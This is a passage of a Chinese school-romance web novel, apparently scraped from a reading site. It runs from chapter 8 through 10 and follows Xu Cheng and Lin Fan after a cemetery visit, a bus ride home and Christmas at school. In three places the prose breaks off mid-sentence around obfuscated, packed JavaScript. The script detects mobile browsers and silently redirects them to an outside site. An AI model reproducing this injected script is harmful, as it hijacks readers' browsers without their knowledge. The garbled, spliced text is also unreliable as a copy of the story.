可能是因为她也知道他的私事,该做个交换;也可能是因为此情此景,同病相怜。
总之,他和别人不一样。
“就你一个人来么,你家里人呢?不和你一起过来?”林凡皱眉。
许橙心想,你不也是一个人吗?但她还不敢这么问,只解释:“我外婆早上已经来过了,她下午在上班,所以我一个人过来。”
林凡顿了顿,她难道不是和她爸一起生活?但他不是什么多管闲事的人,没多问。
他没再费心说话,而许橙不敢说话,两个人便陷在沉默里。
许橙不敢,是因为她忐忑。现在回了神,她有点儿害怕起来。天知道她为什么又碰到了林凡,还是在这种隐私的地方。
这么一路默然到山脚,林凡终于又开口,是问她:“你怎么回去?”
许橙如释重负,说:“我坐公交车。”
隔了一队柏树,一辆黑色轿车停着,不远处是公交站台。
“好,再见。”林凡说完,走向轿车。
他还是那么步履如飞,也还是那么头也不回,和之前一样的,可许橙在原地愣了片刻。
因为,他说的是“再见”。认识这么久,林凡要么说一句“走了”,要么什么都不说。
再见?再见。许橙咬起文嚼起字,再见是什么意思?再见一面。林凡愿意和她见面,不再讨厌看见她了。
心里有什么东西甜丝丝地化开,连带着唇角也扬起。许橙轻快地走到公交站台,抬头,天色还是昏黄,可现在的昏黄,是莫奈笔下的日沉时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467344|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分,余晖抚在云上。
等公交车的时间,也不那么枯燥了。
忽有一辆电瓶车飞驰而过,卷起的风里夹着沙,小小一阵沙尘暴。
许橙掩住口鼻,后退两步。沙子模糊了视线,路远处,看不清公交车有没有来。
她没看见车,电瓶车上的人却看见了她。那人一个急刹,调转车头,到公交站台停下,嬉皮笑脸地吹了声口哨。
许橙身上迅速起了鸡皮疙瘩,攒了眉,警惕地看着王家豪。
王家豪舔了舔嘴唇:“哟,老子还真没认错,这不是咱们实中的优秀毕业生嘛?看来老子今天来这晦气地方来对了。许橙,你也扫墓啊?我们好久没见了,你有没有想我?”
许橙紧抿着唇,一言不发,只希望公交车能快些来。
王家豪上上下下打量许橙:“以前还没觉得你多少漂亮呢,真是女大十八变,现在一看你可比唐小雪漂亮多了。许橙,你别坐公交车了,来来来,老子带你回去,上车吧。”
“不用了。”许橙紧握住手机,要是有什么情况,她就报警。
“我就喜欢你这样的,欲擒故纵嘛,那种直接贴上来的老子还不要呢。反正我们职高和你们云中那么近,以后老子天天来你们学校门口等你。”王家豪跳下车,嘿嘿笑,“送你个礼物。”
王家豪掏出个小小的塑料方片,来拉许橙的手,硬要塞给她。
许橙不想和他有肢体接触,转身就逃,却直愣愣撞到一个男生身上。
薄荷味。
王家豪的手被打落,塑料方片啪地掉到地上。混混吃痛地握紧手腕,怒火中烧,但看到眼前高高大大的男生,顿时变得讪讪。
林凡揽住许橙的肩。
现在,他们面对面,像他拥着她。
顷刻,许橙僵成块石头,一动也不敢动。
她和林凡那么近,寸余,鼻尖就要贴上他的胸膛了。那股薄荷味,完完全全地侵袭了她的五感,脸也红起来,眼睫也颤起来。
她听到他说话,嗓音含笑:“小橙子,我找了,这边没有便利店,等下车再买水吧。”
话语是笑的,但许橙看不见林凡的眼睛,不知道他的眼神冷得有多可怕,满满的戾气。
林凡是那种不是混混别人也能把他当混混的类型,王家豪欺软怕硬,这下骨头软透了。
“操,你有男朋友啊。”他嗫喏一句,扭身上了电瓶车,悻悻然离开。
真正的混混一走,林凡松开许橙,站在原地,很自然,一点儿也没觉得有什么。
许橙不好意思坏了。
她慢慢地往后挪了一步,又挪一步,让出一个合适的距离。眼睛一刻不离地黏在地上,不敢看林凡,心跳扑通扑通得很厉害。
不巧,有风来,吹跑了躺在地上的塑料方片,从她鞋侧滚到林凡身前。
只消看一眼,许橙的脸就红得能滴血。
她没实打实见过这个,但知道是什么。初中是按地区上的学,学校鱼龙混杂,什么人都有。有些男生经常拿一次性手套包装嘻嘻哈哈地笑,还当“礼物”送给班里的女生。
林凡看见了。他没什么表情地弯下腰,捡起那东西,三两步走去垃圾桶丢掉。
“这是避孕套,如果有人随便给你这个,那就是在骚扰你。你和老师还有家长告知一下情况,以后注意那人一点,不要被欺负了。”林凡回来,说得很认真,教科书一样。
“知道了。”许橙的手握得紧紧的,脸颊红遍,轻声移开话,“林凡,你没走吗?”
林凡撇开视线,表情终于不自然。
他不想回答。
上了车,他没离开,而是让车停在远处路口,这个位置可以清晰地看见公交站台。司机刘叔很奇怪,但没多问。
林凡不纠结这件事,理由很简单,这个时间她一个人回去,他没办法不担心她,名义上的哥哥也是哥哥,妹妹也是妹妹。
这倒不是因为她怎么样,而是他这个人人好,林凡是这么和自己解释的。
但他不想和她这么解释,索性不说话。
许橙的疑问丢在一个没有回音的空谷,可她觉得没有尴尬,心再一次甜起来,像飘起大团大团的软绵绵的云,五颜六色的棉花糖。
或许是她想的那样,他在等她上车,或许是他乘闲抽了根烟,所以看见。但怎么样都没关系,事实就是,他下车帮她解了围。
公交车来了。
林凡朝公交车走了过去,许橙没反应过来,懵在原地。
他转头看她,语气挺差:“傻站着不动,要我牵你上去?”
许橙来不及诧异,身体先行一步,懵里懵懂地就跟林凡上了车。
9. 第 9 章
许橙和林凡坐在最后一排,许橙靠窗。
公交车从乡下驶向市区,今天有不少人进城过冬至。前面的大爷大妈打着方言聊天,很热闹。但这样一来,便显得后面太过安静。
许橙还在宕机,想不明白这到底是一个什么状况,林凡怎么和她一起上了车?
不过,刚刚那件事更重要。
“谢谢你。”许橙说。
林凡无所谓她谢不谢,问起王家豪:“那人是谁,他认识你?他是职高的吧,我在云中附近看到过他几次。”
一时,许橙不知道该怎么说,这种事有点难堪。
林凡皱了皱眉,他心思没那么细腻,也没什么经验,察觉不到女孩子的纠结,很直白地问:“他骚扰过你?”
许橙已经适应了林凡的说话风格,单刀直入。犹豫了一会儿,她点点头,开始解释。
王家豪和周谨一一样,稳居实中三年的年级第一,不过是倒数第一。他很出名,因为他爸爸曾经在学校指着老师的鼻子骂,说他家有钱,就是王家豪不读书回去当厂二代,一年赚的钱也比当教书匠的十年赚得多。
王家豪喜欢骚扰女生。一开始被骚扰的是唐小雪,后来,许橙不管去哪儿都和唐小雪一起行动,上厕所、吃饭、去小卖部。
虽然,这样王家豪也盯上了她,但两个人一起行动总比单独行动安全。
还好初中毕业,王家豪去了职高,许橙没再见过他。至于今天,真的有点儿倒霉。
“如果他真有什么实质性的举动,比如来学校门口堵你,和我说。”林凡蓦地开口。
“你——”许橙呆了。
他这话的意思,是想帮她吗?
但,淡淡地说这种吓人的话,有点儿可怕。许橙噤了声,蛮欲言又止地瞧他。
“我不是个混混么?”林凡也偏过头,朝她笑,“混混治混混是最有用的,乖乖女可治不了这种人。”
许橙刚恢复正常颜色没多久的脸,又像个番茄了。果然,林凡是个小心眼,这笔旧账之前一直没翻,现在来翻了。
“那、那你当初为什么和人打架呢?”许橙终于找到机会问这个问题。
林凡不想讲。
别人怎么想他,他不在乎。
“没什么,就是你想的那样。”林凡转回头,开始闭目养神,懒洋洋的。
许橙知道,他当然没有说实话,又或者是不想和她说。可她性格里有一种执拗,有些事情她会很坚持,打破沙锅问到底。
“我知道不是我最开始想的那样,或者你给我个提示,我再想一想。”许橙很认真。
“怎么?难道你想转变一下对我的印象,不把我当混混了?”林凡睁眼瞥她,语气玩味,一点儿也不正经。
许橙很不喜欢他现在这种态度,她是认真地在和他说话。
“如果我错怪了你,那我和你说一声对不起,我的确不知道那一天到底发生了什么,所以,我想请你告诉我真相,这样子我就不会对你有误会了。”许橙很严肃,很郑重。
林凡沉默挺久,公交车曳过好几列合欢树,他才开口:“不知道你有没有撞见一个跑出去的男生,长得挺小的。”
话虽然简洁,但许橙足够领会了。
当时她以为那个男生是和她一样,撞见两个混混约架,因为害怕才往回逃。可现在她明白了,她知道那个高年级混混经常勒索人,尤其是这种势单力薄的男生或女生。
所以,林凡是看到那个男生被勒索,路见不平拔刀相助。结果,被她误会成混混约架。
许橙三番两次想开口说话,可喉咙都堵住,最后只能轻声说:“对不起。”
林凡依旧闭目养神,表情一直浅淡。这一刻,眼睫有所颤动。他睁开眼,看着正前方,公交车在向更繁华更热闹的地方驶去。
“不用说对不起。”他说。
为什么总把自己弄成很好欺负的样子?误会就误会了,客观上又不是她的错,换一个人来,也会这么想。
以前他以为,这个妹妹会是个很骄矜的人,因为杜子睿无论做错什么事在许静眼里都是好的。可现在,她却截然相反。
知道许橙不明白他的话,林凡添上:“不是你的错,是我懒得解释。”
许橙还想说什么,林凡打断她:“行了,不要再纠结这个问题,现在知道就好了。”
今天的天黑得早,路灯便也亮得早。车行路上,漏进一线暖黄灯光,将男生的瞳仁映成琥珀色的。许橙一时忘了收回目光。
林凡偏过脸,看着她。
许橙的心是汹涌的河流,这一刻涛涛。
她手足无措。情急之下,问了一直想问的问题:“以前,我好像没有在这里见过你。”
半山公墓很大,有很多墓区。杭市本地的人身故后,很多家庭会选择葬在这里。凡是要扫墓的日子,清明中元等等,许橙都会来。
她很确定,没有在这里见过林凡,至少是这一块墓区。
林凡正回身,视线在前方:“我去了上海三年。在这之前,我年纪还小,他不同意我过来,所以我只能在别的日子偷偷来。你没在这种该扫墓的日子见过我,很正常。现在我一个人住,所以能来。”
他难得说这么长的话,说完,抿了抿唇,有些烦躁。他怎么和她讲了这些?
而许橙怔在他的话里。“他”,是他爸爸吗?林凡现在一个人,那他来看的人是……
林凡的语调平静,没有突出的感情色彩,一如往常那样置身事外。
可许橙忘不了音乐课的钢琴声,还有教室外的那一眼,她没有见他这么落寞过。
“我外婆说,虽然他们和我们不在一个世界了,但我们心里记挂着他们,他们是知道的。逢年过节来看望,他们会很高兴,只不过是因为在两个世界,不能对话而已。”许橙轻轻说,“你今天来看望的人,她一定也会高兴。”
林凡再次侧头看她,却说:“叽叽喳喳的,你不担心今天是世界末日?”
他有淡淡的笑,看上去,没理会她那些安慰意味过于明显的话。
林凡的确是这种人。他不喜欢煽情,不喜欢心灵鸡汤,是什么就是什么。这个日子他来这里,有点难过就是有点难过,但情绪过去了就行了。
“今天是世界末日。”许橙皱了皱眉,“这只是玛雅人的一个预言,又不科学,为什么要担心呢?”
林凡有很低的一声笑:“你倒是清醒。如果今天真的是世界末日,你会怎么样?”
这个问题,在学校聊天的时候聊得很多,许橙有好好想过。
“如果今天真的是世界末日,那可以算作一个幸福的结尾。我看到过一个观点,要把生命中的每一天都当做最后一天来过。按照我的理解,它的意思就是,只要认真过了这一天,那么即使是最后一天也不会有遗憾。”
“今天和大家一起翘早读看电影,很开心。音乐考试也很开心,听大家朗诵、唱歌,你还弹了钢琴。回到家,和外婆一起吃了中饭,又来公墓见了外公和舅舅,还......是很认真的一天。如果这就是最后一天,那我觉得,是很幸福的结尾。”
中间省略掉一句。还遇见了你,一起坐公交车回家,说了很多平常不会说的话。
“幸福?”林凡不掩饰地皱起眉,觉得这两个字很荒唐,“你的想法是很幼稚。”
“幼稚吗?可我觉得就是这样的道理。”许橙很坚持自己的观点,“而且,既然已经知道了有世界末日,那总不能哭哭啼啼地等着死掉吧?更应该把仅剩的这些时间过好,过开心一点。”
林凡掉转过脸,向另一边。但是,许橙捕捉到了他刚刚的眼睛,深邃的海面,隐隐的波澜。是她看错么?
许橙的心一颤。
其实他听进去了她的话的。
以前她觉得林凡毒舌,说话难听,她会生气。可现在她生不起气,反倒生出一些忧伤。刺猬是一种很可爱的动物,为了保护自己,才长出那么多刺。
但下一秒,许橙就伤感不了了。
林凡气定神闲地抛来一句评价:“盲目乐观倒是很适合你。”
许橙想错了,她还是会生气的。林凡这个人,舔一下自己的嘴唇就被自己毒死了。他的刺是天生的,不是后天长出来的。
许橙索性扭过身,伏在窗边的栏杆上,风大,呼呼又啸啸,把她的发型弄得很乱。
没一会儿,她忍不住转回来,很不服气,语气都带刺儿:“那你觉得该怎么样呢?难道就悲观地等着世界末日来吗?”
“不乐观也不悲观。乐观或悲观,都说明没有接受这件事。真正接受了,就不会有太多的情绪和太多的思考。”林凡淡淡说。
在他一如往昔的淡漠语气里,许橙终于明白,林凡为什么看上去总是那样疏离。
他待人接物,原来都是用的这个法则么?
许橙摇头:“但是我觉得这样不好,因为人总是会有情绪的,情绪不能压抑,不然可能会产生心理问题。”
“情绪是认知的结果,所以,首先要改变的是认知。至于世界末日这件事——”林凡回头看她,目光定定的,在她身上。
他轻扯了嘴角:“所以我很遗憾,没有真正的世界末日。”
他这样,许橙又生了气,这回不是什么小脾气。她直视着林凡,语气前所未有的严肃:“离开的人一定希望你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467345|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能好好生活,活着的人也更希望你能好好生活,不管怎么样,不该期待世界末日的。”
交浅言深。
但看到许橙再次炸毛的样子,林凡发自肺腑地一笑。他不再惹她,只说:“那我希望事实符合你这样的乐观。”
话落了,大雨倾盆而下。
云其实已经积了很久,又黑又重,苍苍莽莽地在天上飞奔疾走。尚未入夜,天却已经漆黑,真的像世界末日。
雨水滂沱,劈头盖脸地斜砸进来,水花四溅。许橙来不及再纠结林凡的话,急忙转身关窗。
这辆公交车上了年数,窗玻璃泛黄发旧,卡在轨道里,像是和许橙对着干,一点儿也拉不动。女孩子折腾红了脸,还是没有成功。
“我来。”林凡说。
他倾向她,手臂横在她身前。空气中残留的水意化开了薄荷香,潮润润的,一缕一丝,沁到许橙的心里肺里。
薄荷?薄荷是春天种的。寒冬腊月的天,它是她的雪中春信。而他呢?
她自然不敢看他,视线只能偏向窗。男生的手按在玻璃窗上,上了劲,青筋显得分明,是上午弹琴时那双优雅翩然的手。
窗户合上,隔绝了稀里哗啦的雨声。乘客们也都聊倦了天,车厢变得安静。
在这样的安静里,许橙听到自己心跳。
咚咚,咚咚。
是阵雨,车到市区,雨停了。
“林凡,你在哪一站下?”许橙看到熟悉的街道,想起这个问题,话说得小声。
“看你。”林凡言简意赅。
许橙缓缓地眨眨眼睛。
“送佛送到西。”林凡闭目养神,话说得倦,“免得你路上再出什么事。”
这一刻,许橙整个人滞了。他还是那么自然,可她没有。他们已经离得远,薄荷香并不明晰,风一吹就散了个干净,可又是什么勾在她的鼻尖,作祟在她的心里。
“谢谢你,我在幸福家园下。”许橙用了很大的力气让语调平稳,努力扮作同学之间正常的对话……的确应该是正常的。
每次她说谢谢,林凡都不回答。
许橙转向玻璃窗。暮色已临,街上车水马龙,几点霓虹灯光闪闪烁烁。窗外暗、窗内明,玻璃便成了面镜子,现出车内人的倒影。
她可以正大光明地看他一会儿。
时间从未流逝得有这么快,原本枯燥漫长的车程,现在却是眨眼之间,幸福家园到了。
下了车,林凡还是一句“再见”,转身就走。
许橙喊住他:“林凡,你可不可以等我一下?就五分钟,我去家里拿个东西给你。”
刚刚在车上,她就想好了。
林凡不解,皱了皱眉:“我不需要你和我说谢谢,也不用拿什么东西来道谢。我想送你回家,我就送了,和你没关系。”
他这话说得真是……还好许橙已经摸清楚林凡的脾气,也不计较,快言快语说:“不是我要谢谢你……也不是我不谢谢你,哎,就是我想送你一个东西啦!你在这里等我一下可以吗?我很快就回来。”
不给林凡拒绝的机会,许橙转身就跑。地上的水洼倒映女孩子的身影,她飞奔上楼又飞奔下来,从没有跑得这么快。
林凡蛮怔的,她还真是……
许橙重新回到小区门口,林凡仍站在原地。她松了口气,刚刚,她还真有点儿担心他会不会直接走呢,这么一个怪人。
林凡在一盏灯下面,暖黄将他都映得温和,以及,也不知是否是错觉的温和的笑。
许橙急急刹住,手上抱着那袋沉甸甸的东西,大喘着气,好一会儿说不出话。
“不用这么急,我不是在等你么?”林凡望向她怀里,“要给我什么?”
许橙把袋子递给林凡:“这是我外婆包的饺子,你拿回去滚一下就可以吃了。冬至吃饺子,冬天就不会冻耳朵了。”
饺子是今天新鲜包的,还没放冰箱,带着室内的温度。寒天冷夜,林凡捧它在手里,温热,从掌心一点点浸透到身体别的地方。
眼前,女孩子欲言又止地瞧着他,有些紧张。她后知后觉地怕他不喜欢,不喜欢吃饺子又或是不喜欢她送他饺子,这样的举动,是不是稍显熟络了呢?有些逾矩。
她只是担心他一个人住,大概不会想到吃饺子,可这是冬至的习俗。即使去买,外面的饺子,总没有家里做得好吃。
讪讪怯怯,期期盼盼,就这样红着脸望他,急促的气息还未全平。眼眸里那汪水,在这一星灯下,潋滟得不成样子。
林凡少有的愣了片刻神。
“谢谢。”他说得认真,嗓音温和,“另外,提前和你说一句,圣诞节快乐。”
10. 第 10 章
世界末日安然度过。新的一个星期,学生还要上学,上班族还要上班,世界在它的秩序里。
许橙不在她的秩序里。
周一语文早读,她在讲台上领读。手里卷着语文书,视线却不在书上,在第四组角落。
林凡昨天没来上课,今天也没有。
他虽然通校,但没有迟到的时候。这两天是怎么了呢?
下早读,许橙回座位,张多多和她抱怨:“许橙,你刚一直往我们这边看,看什么呢?我还以为马中海来了,吓死了。”
马中海喜欢早读逮人,神出鬼没。
“有什么好吓的?张多多你做贼心虚呗。”唐小雪对着小圆镜子整理头发,又拿出个唇膏,涂一会儿抿一下。
做贼心虚四个字,说者无心,听者有意,许橙不自然地望向窗外,说:“外面那棵树上刚刚停了只鸟,长得挺漂亮的。”
周谨一难得抬了头,往窗外看。冬天,几棵落叶树光秃秃的,这会儿一只麻雀也没有。
“现在飞走了。”许橙勉力镇定。
好在周谨一没有深究,继续做题。
耐不住心里的疑问,许橙再一次做了贼。她故作随意地往后看,又故作随意地问张多多:“林凡怎么没来,迟到了吗?”
“不会吧,凡哥咋可能迟到?我刚也奇怪着呢。”张多多又朝后看了一眼,“昨天也没来,可能生病请假了吧。”
许橙手上拿着的讲义掉了,心也掉了。
林凡的衣服总是穿得薄,那天在半山公墓见到他,那么冷的天,他甚至没有穿羽绒服,而是和秋天穿得差不多。可能是感冒了。
他一个人,是不是不知道该怎么照顾自己呢?可是他那么爱干净,不像是不会打理生活的人。可能,只是在这方面,和他的性子一样散漫随心吧。
许橙慢慢地想很多,一叠讲义理了又理。唐小雪涂了润唇膏、护手霜,还滴了眼药水,一整套动作结束,她还在那儿理讲义,唐小雪都奇怪了。
第一节上英语,课前发资料,老余在班里巡视,说:“现在发的是这单元的语法重点,明天模拟考,考前再把语法看一看、背一背,这块丢分最严重。”
老余走到第四组,刚下发的纸张潦草地躺在林凡的桌面上。人不在,发的东西多,桌面一下子淹没了。
老余瞅了会儿张多多,摇摇头。又瞅了会儿埋头做题的周谨一,再摇摇头。
许橙是被老余拉回神的,老余指着林凡的桌子对她说:“许橙,这个星期林凡请假,你和他坐得近,帮忙把他的桌面理一理吧。”
心里正念着的名字,被老余一口说出来,许橙的呼吸都停了一下,连忙说“好”。
唐小雪好奇打探:“余老师,林凡请假这么久啊,他生病了吗?”
“没有,林凡他家里有事儿。”老余瞧了眼唐小雪的桌面,琳琅满目,可以开个小卖部,不满说,“唐小雪,好把你桌上的东西收收起来,让马主任看到了又给你记过了!”
唐小雪眨眨眼,等老余走了,她拉许橙,说:“家里有事?什么事能请假一个星期?这也太爽了吧,林凡是不是故意逃模拟考?”
唐小雪的关注点总是与众不同。上课铃响她就忘了这事,而许橙,思绪还是停不下来。
他一个人,家里有事,那是他爸爸那边有事吗?他爸爸对他那样凶……
中午一吃好饭,许橙就帮林凡整理桌面。
上午发了很多东西,讲义、周测卷、作业本……桌面一会儿不整理就乱糟糟。
就算是许橙,偶尔也会为整理东西焦头烂额。但林凡的桌子遇到一个好主人,它很轻松,沾染了他的气质,整洁、有条理。
桌面没有任何划痕涂鸦,也没有贴花花绿绿的纸条或者便利贴。
唐小雪贴了半桌面的便利贴,用来记课表和知识点。许橙也贴了几张,记容易忘的事。便利贴们叽叽喳喳说话,于是桌面变得吵闹。
许橙拿起那些讲义,突然想到,她帮林凡整理好的这些东西,之后他会拿起来看的。
这儿曾有过她的余温。
指尖挪到姓名栏,空白的横线上,指甲不自觉小小地划,刻一个名字。
林凡,叫起来很上口,笔画也简单。要是他做错事被罚抄名字,肯定抄得很快。
纸上真有了浅浅一道印痕,许橙吓了一跳,她在干什么呀?
有其他同学吃好饭回来,许橙慌忙把东西理好,回到自己座位,心跳那么快。
给林凡整理东西,只是一个小插曲,可是为什么,那两个字的音符总在她的脑海里徜徉呢?许橙解释,似乎,是自己太认真负责了。
圣诞节那天,林凡的东西变多了。
2012年,过圣诞的氛围还很浓厚。教室玻璃贴满圣诞老人的窗花,英语课课前,老余循环了好几遍“jinglebells,jinglebells”,旋律在许橙耳边响了一天。
唐小雪妈妈是英语老师,于是唐小雪过圣诞节的热情比谁都高。她带来一大袋拐棍糖,红红绿绿的,分给班里除了郑婷的所有人。
拐棍糖是薄荷口味。闻到的薄荷味和吃进去的薄荷味有些不同,但都清清凉凉。许橙有一点想念闻到的薄荷香。
过圣诞,大家都收到不少东西。这会儿也流行送贺卡,学校门口的文具店摆出好多样式,五光十色。动手能力强的,就自己画或者自己做,互相送来送去,比过春节还热闹。又有别的各式各样的小玩意儿,小挂件、圣诞蜡烛、小徽章……
林凡收到的东西特别多,其中贺卡最多。
“从昨天晚上到现在,有多少个别的班的来送?我数数啊。”张多多一个个掰手指头,最后摆摆手,“数不清了,连一中都有人托人送,我就说十一月那次和一中打篮球赛,凡哥打出名了!”
唐小雪趴在椅背上,没看林凡桌子,倒在看周谨一做数学题。
她蛮潇洒地点评:“就喜欢犯花痴,篮球赛有什么好看的?一堆男生跑来跑去,真无聊。她们运气不好,林凡现在又不在这儿。哎,林凡到底干嘛去了?这么多天还没回来,什么请假理由,我下次也想用。”
又拍拍许橙,说:“许橙,你快帮林凡把那些东西收好吧,不然被马中海一锅端了。”
遇上情人节、520这种日子,马中海能在教学楼转悠一天,专门逮早恋和送信的人,圣诞节大概也在他的业务范围内。
许橙站起身去理,有几张贺卡是单面的,一眼就看到了字儿,一些话不单纯是圣诞节快乐,有问能不能加联系方式的。
圣诞节互相送贺卡,许橙自己画了好几张,送给亲近的几个同学。林凡,她想送的,可是又怕自己显得太熟络……思来想去,还是没有画。
除了贺卡,还有几封信。拿着这些,许橙像捧着刚出炉的包子,烫手,扔也不是拿着也不是,她该怎么理?
唐小雪看见了,没来解救她,倒是低头扫视周谨一的桌面。她眼睛滴溜转几圈,有点儿不情愿地问:“周谨一,你有没有收到信?”
这属于八卦,周谨一不回答她。张多多古道热肠地做了个口型,“有”。
唐小雪的眼睛圆起来,打口型,“还真有?”,张多多点了点头。
唐小雪鼓了鼓嘴,但随即笑眯眯的:“周谨一,你就给我看看嘛,我现在好无聊呀。”
周谨一头也没抬:“那是别人的隐私。”
唐小雪撇撇嘴:“算了,也没什么好稀奇的,不用想就知道写了什么,不就是情书嘛?”
情书。
许橙手上这些薄薄的纸张,忽然有千钧万钧重了,闷闷地压在她心口。
她突然不想再整理。老余只让她帮忙理学习资料,这些东西,不是她的任务。
许橙不知道哪儿来的脾气和决心,一鼓作气拿来个塑料袋,三下五除二把那些东西搂到袋子里面,随手打好结,丢进桌肚。
回到座位,唐小雪凑热闹,问许橙:“那个谁有没有给林凡送东西?”
许橙没反应过来,看到张多多往右上方送眼风,她便知道了。
右上方,陈秋语端端正正坐着。她的脊背很挺,乌发高高地垂下来,发尾修剪得整齐,没有一点儿毛躁。
“我没有看是谁送的。”许橙听到自己的声音有些生硬。
周谨一离开座位,去交东西。唐小雪凑过来,和许橙说悄悄话:“我观察了这么久,陈秋语肯定对林凡有想法,但她喜不喜欢林凡,我倒看不出来。”
这话,许橙没有听懂:“啊?不喜欢也能有想法吗?”
唐小雪往周谨一的座位撇撇嘴,讲:“你不知道啊?她初中一开始不还接触周谨一吗?那会儿天天找周谨一问问题,可殷勤啦,后来调座位还主动要和周谨一坐一起呢。”
许橙不知道,初中一开学,大家都还不熟悉呢,她当然没有关注陈秋语。
“她可现实了,只接触家境好的男生,后来开过家长会,知道周谨一家里……就是普通了一点嘛,她就没再这样那样了。”唐小雪哼了一声,“她爸爸妈妈都是当官儿的,官二代就是现实一点。”
“嘿,你这话说的,现实一点还不好?”张多多突然插嘴。
“哇!张多多!你干嘛偷听我们讲话啊!”唐小雪又羞又怒,拍一下他桌子。
“你又没说不让我听,我就听着咯。”张多多嘻嘻笑,“大部分人都是普通家庭嘛,不过凡哥不普通,他号上装备能有好几万。”
“所以你看,她这个学期经常来这儿嘛,问这个问题那个问题啦,有什么好问的?她怎么不去问老师?”唐小雪说话有点儿酸溜溜。
陈秋语也是“别人家的孩子”,学习好,刚开学那次月考拿了年级第四,长得漂亮,又会说话,唐小雪妈妈经常提她,导致唐小雪对人家也有点儿愤愤的情绪了。
可许橙还有点糊里糊涂,不喜欢,只看家境,也能接触吗?
张多多说:“班长也挑人的,不是只看家境,要她自己先看得入眼才成吧。周大神长得好,她才肯接触。高年级有几个男的家里也有钱,我看今天还来送礼物了不是?那班长又没看上人家,硬件条件过不去呗。”
“挑挑嘛,挑上了可以接触,但不一定喜欢,她就是这么现实。”唐小雪做总结,“不过林凡各方面都好,她说不定真喜欢啦。那又怎么样,人家可不一定看上她。”
“不一定,真不一定,她来问凡哥问题,那凡哥也教她的呢。”张多多煽风点火。
“我问林凡林凡也教我啊。”唐小雪又拍桌子,“那是因为林凡人好,但我可没那么大的脸隔一天就去问一次。”
“你那是问问题吗?你那是直接要答案抄。”张多多不给唐小雪留情面。
唐小雪气得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471140|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“张多多你!那打赌啊,你输了你送我一套新专辑,我输了你游戏里想要什么你自己挑,我就不信了。”
两人还真赌上了,吵吵闹闹里,许橙又望陈秋语一眼。
她喜欢林凡吗?
还是,只是像接触周谨一那样接触他?
可过程和结果好像都一样的。
晚自习下课,许橙照例帮林凡理一遍桌面。唐小雪早已经出了教室,现在忽然飞奔回来,她忘了拿伞。
“许橙!外面下雪了诶!特别大,你等会儿回寝室的时候记得拿伞!”唐小雪好兴奋。
下雪了?许橙看向窗外。
夜色过浓,看不见雪落,反倒是玻璃窗上自己的倒影清晰。女孩子的眉攒着,唇也抿着,看上去不那么高兴。
许橙愣了一下,向自己解释,是因为刚刚复盘了模拟考的数学试卷。
忽然,有人喊她,是陈秋语。
陈秋语笑得柔和,递给许橙一块包装漂亮的饼干:“许橙,圣诞节快乐。这个姜饼人饼干挺好吃的,希望你会喜欢。”
许橙接过饼干,道了谢。陈秋语看了眼林凡的桌面,又说:“辛苦你这几天帮林凡收拾东西啦,我坐得有点儿远,本来应该过来一起帮忙的。”
她的声音还是那么亲切,甜甜的,绵绵的,话里有一种班长的责任感。
“谢谢班长,同学之间互相帮助是应该的。”许橙有点儿脸红了。
她有些惭愧,刚刚晚自习,为什么要揣测陈秋语的心意呢?无论人家接不接触林凡、喜不喜欢林凡,都是自己的自由,她不该去想那么多的。
外婆也说过,等到该谈恋爱该结婚的年纪,女孩子要现实一点好,找男朋友要擦亮眼睛,人品好家庭好才行,不然很容易出问题,以后都是自己吃苦。只是她们才十几岁,这个年纪的喜欢太纯粹了,领悟不到长辈的意思。陈秋语能领悟到,她很厉害。
陈秋语也在林凡的桌子上放下一块饼干,以及,一张贺卡。
她很落落大方,没有一点儿心虚或者害羞,笑眼弯弯地又说:“林凡现在在美国,要下个星期才能回来呢。许橙,整理东西的事情要再辛苦你几天啦,忙的话你和我说一声,我也过来帮个忙。”
陈秋语送林凡东西,许橙没有意外,但她很惊讶她的话:“林凡在美国?”
不论谁听到,都是这个反应,陈秋语自然地点点头:“嗯,林凡的家人在美国,他这次就是去陪家里人过圣诞节的。说起来,他很有可能会在美国留学,大学本科就会去。”
她看了一眼手表,说:“呀,有点儿迟了,我先回寝室啦!再见许橙,你也早点收拾好回寝室休息吧。”
空荡荡的教室里,唯有许橙一人站着。
陈秋语好像知道很多事,是因为她当班长吗?还是因为,她和林凡的关系更亲近?
她低下头,手里的姜饼人饼干是很大一个,外面的塑料包装印着雪花、麋鹿这些卡通图案,很漂亮。桌面上同样的饼干,底下压着一张漂亮的粉色贺卡,看不见字。
圣诞节,祝你圣诞节快乐。
手里握着饼干,同时也握着一份自己都不知的失落。如此沉寂的教室里,有十几秒许橙都没有动作。
终于,她把陈秋语送给林凡的东西小心翼翼地放进塑料袋,替她放好,也替他存好。
